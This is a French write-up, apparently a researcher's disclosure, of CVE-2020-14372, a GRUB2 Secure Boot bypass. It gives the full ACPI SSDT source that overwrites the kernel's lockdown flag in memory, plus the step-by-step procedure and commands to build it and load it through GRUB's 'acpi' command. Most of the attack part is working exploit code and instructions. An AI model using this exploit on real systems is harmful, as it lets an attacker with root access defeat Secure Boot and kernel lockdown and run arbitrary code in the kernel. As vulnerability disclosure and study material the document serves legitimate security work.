CVE-2020-14372: Contourner (pas si) Secure Boot avec une "simple astuce"

Détails de la vulnérabilité

Un jour, j'ai tapé "help" dans la console de GRUB2 et j'ai vu des commandes vraiment "amusantes" :

• read_byte ADDR: Lire une valeur 8 bits à ADDR
• write_byte ADDR VAL: Écrire la valeur 8 bits VAL à ADDR

J'ai immédiatement pensé avoir trouvé le contournement le plus amusant de Secure Boot, mais ces commandes affichent ce qui suit sous Secure Boot :

error: Secure Boot forbids loading module .../memrw.mod.

Par curiosité, après avoir démarré de cette façon, j'ai tapé la commande "acpi", et elle a affiché un message d'utilisation me disant de la pointer vers un fichier AML. Il est bien connu que un autre nom pour l'ACPI est un "mécanisme pour exécuter du code fourni par un fournisseur dans le contexte de votre noyau", puisque nous pouvons charger des tables ACPI avec Secure Boot activé, nous sommes le "fournisseur" qui peut fournir ce code.

Mais comme il y a un drapeau d'un octet (kernel_locked_down) dans le segment de données du noyau démarré lui indiquant s'il est ou non "verrouillé", nous pouvons simplement écraser ce drapeau à l'aide d'un SSDT et laisser le noyau charger des modules arbitraires.

Le SSDT suivant accomplit cela en créant un objet "batterie" appelé HACK, et en effectuant l'écriture dans la méthode _INI dudit objet qui est toujours exécutée par le noyau :

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

J'ai écrit un exploit de preuve de concept en Python qui aide à générer ce SSDT, mais l'exploiter manuellement n'est pas si difficile non plus. Le schéma général est le suivant :

1. Désactiver KASLR en ajoutant nokaslr à la ligne de commande du noyau
2. Trouver l'adresse physique du symbole kernel_locked_down après avoir démarré sans KASLR
3. Insérer l'adresse dans le SSDT ci-dessus, puis compiler ce SSDT en utilisant iasl
4. Enfin, ordonner à GRUB2 de charger le SSDT

Comment utiliser le PoC

Hypothèses :

• L'attaquant a un accès root au système d'exploitation en cours d'exécution
• Linux est démarré sous UEFI Secure Boot avec GRUB2 version <=2.02 (certaines versions de 2.02 sont corrigées), cela entraînera l'activation du verrouillage du noyau

Lorsque les hypothèses ci-dessus sont réunies, modifiez /etc/default/grub, ajoutez nokaslr à GRUB_CMDLINE_LINUX_DEFAULT, exécutez update-grub, puis enfin redémarrez.

Après que le noyau a démarré sans randomisation de l'espace d'adressage, le script genssdt.py peut être utilisé pour générer un SSDT "malveillant" qui corrigera la mémoire du noyau à l'exécution pour désactiver le verrouillage :

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Maintenant que le SSDT a été créé, le fichier de configuration GRUB (généralement dans /boot/grub/grub.cfg) doit être modifié pour faire charger ce SSDT par GRUB (en ajoutant ceci en haut de ce fichier) :

acpi (hd0,gpt1)/evil_ssdt.aml

En fonction de l'emplacement de la partition système EFI (où nous avons placé le SSDT ci-dessus) sur le disque, (hd0,gpt1) peut devoir être remplacé par autre chose.

Enfin, après un redémarrage, le verrouillage du noyau devrait être désactivé, donnant à root la capacité d'exécuter du code arbitraire dans le noyau.